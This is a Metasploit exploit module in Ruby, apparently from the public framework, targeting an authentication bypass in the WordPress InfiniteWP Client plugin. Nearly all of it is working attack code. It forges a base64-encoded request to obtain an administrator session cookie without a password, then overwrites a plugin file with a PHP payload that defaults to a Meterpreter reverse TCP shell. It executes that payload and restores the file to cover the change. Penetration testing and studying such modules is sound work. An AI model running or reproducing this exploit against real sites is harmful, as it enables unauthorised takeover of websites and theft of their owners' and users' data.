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##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ManualRanking  
  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WordPress InfiniteWP Client Authentication Bypass',  
'Description' => %q{  
This module exploits an authentication bypass in the WordPress  
InfiniteWP Client plugin to log in as an administrator and execute  
arbitrary PHP code by overwriting the file specified by PLUGIN_FILE.  
  
The module will attempt to retrieve the original PLUGIN_FILE contents  
and restore them after payload execution. If VerifyContents is set,  
which is the default setting, the module will check to see if the  
restored contents match the original.  
  
Note that a valid administrator username is required for this module.  
  
WordPress >= 4.9 is currently not supported due to a breaking WordPress  
API change. Tested against 4.8.3.  
},  
'Author' => [  
'WebARX', # Discovery  
'wvu' # Module  
],  
'References' => [  
['WPVDB', '10011'],  
['URL', 'https://www.webarxsecurity.com/vulnerability-infinitewp-client-wp-time-capsule/'],  
['URL', 'https://www.wordfence.com/blog/2020/01/critical-authentication-bypass-vulnerability-in-infinitewp-client-plugin/'],  
['URL', 'https://blog.sucuri.net/2020/01/authentication-bypass-vulnerability-in-infinitewp-client.html']  
],  
'DisclosureDate' => '2020-01-14',  
'License' => MSF_LICENSE,  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Privileged' => false,  
'Targets' => [['InfiniteWP Client < 1.9.4.5', {}]],  
'DefaultTarget' => 0,  
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/reverse_tcp'}  
))  
  
register_options([  
OptString.new('USERNAME', [true, 'WordPress username', 'admin']),  
OptString.new('PLUGIN_FILE', [true, 'Plugin file to edit', 'index.php'])  
])  
  
register_advanced_options([  
OptBool.new('VerifyContents', [false, 'Verify file contents', true])  
])  
end  
  
def username  
datastore['USERNAME']  
end  
  
def plugin_file  
datastore['PLUGIN_FILE']  
end  
  
def plugin_uri  
normalize_uri(wordpress_url_plugins, plugin_file)  
end  
  
def check  
unless wordpress_and_online?  
return CheckCode::Unknown('Is the site online and running WordPress?')  
end  
  
unless (version = wordpress_version)  
return CheckCode::Unknown('Could not detect WordPress version')  
end  
  
if Gem::Version.new(version) >= Gem::Version.new('4.9')  
return CheckCode::Safe("WordPress #{version} is an unsupported target")  
end  
  
vprint_good("WordPress #{version} is a supported target")  
  
check_version_from_custom_file(  
normalize_uri(wordpress_url_plugins, '/iwp-client/readme.txt'),  
/^= ([\d.]+)/,  
'1.9.4.5'  
)  
end  
  
# https://plugins.trac.wordpress.org/browser/iwp-client/tags/1.9.4.4/init.php  
def auth_bypass  
json = {  
'iwp_action' => %w[add_site readd_site].sample,  
'params' => {'username' => username}  
}.to_json  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => wordpress_url_backend,  
'data' => "_IWP_JSON_PREFIX_#{Rex::Text.encode_base64(json)}"  
)  
  
unless res && res.code == 200 && !(cookie = res.get_cookies).empty?  
fail_with(Failure::NoAccess, "Could not obtain cookie for #{username}")  
end  
  
print_good("Successfully obtained cookie for #{username}")  
vprint_status("Cookie: #{cookie}")  
  
cookie  
end  
  
def exploit  
# NOTE: Automatic check is implemented by the AutoCheck mixin  
super  
  
print_status("Bypassing auth for #{username} at #{full_uri}")  
unless (@cookie = auth_bypass).include?('wordpress_logged_in')  
fail_with(Failure::NoAccess, "Could not log in as #{username}")  
end  
  
print_good("Successfully logged in as #{username}")  
write_and_exec_payload  
end  
  
def write_and_exec_payload  
print_status("Retrieving original contents of #{plugin_uri}")  
contents = wordpress_helper_get_plugin_file_contents(@cookie, plugin_file)  
  
unless contents  
fail_with(Failure::UnexpectedReply, "Could not retrieve #{plugin_uri}")  
end  
  
print_good("Successfully retrieved original contents of #{plugin_uri}")  
vprint_status('Contents:')  
print(contents)  
  
print_status("Overwriting #{plugin_uri} with payload")  
unless wordpress_edit_plugin(plugin_file, payload.encoded, @cookie)  
fail_with(Failure::UnexpectedReply, "Could not overwrite #{plugin_uri}")  
end  
  
print_good("Successfully overwrote #{plugin_uri} with payload")  
  
print_status("Requesting payload at #{plugin_uri}")  
send_request_cgi({  
'method' => 'GET',  
'uri' => plugin_uri  
}, 0)  
  
restore_contents(contents)  
end  
  
def restore_contents(og_contents)  
print_status("Restoring original contents of #{plugin_uri}")  
unless wordpress_edit_plugin(plugin_file, og_contents, @cookie)  
fail_with(Failure::UnexpectedReply, "Could not restore #{plugin_uri}")  
end  
  
return unless datastore['VerifyContents']  
  
contents = wordpress_helper_get_plugin_file_contents(@cookie, plugin_file)  
  
unless contents == og_contents  
fail_with(Failure::UnexpectedReply,  
"Current contents of #{plugin_uri} DO NOT match original!")  
end  
  
print_good("Current contents of #{plugin_uri} match original!")  
end  
  
end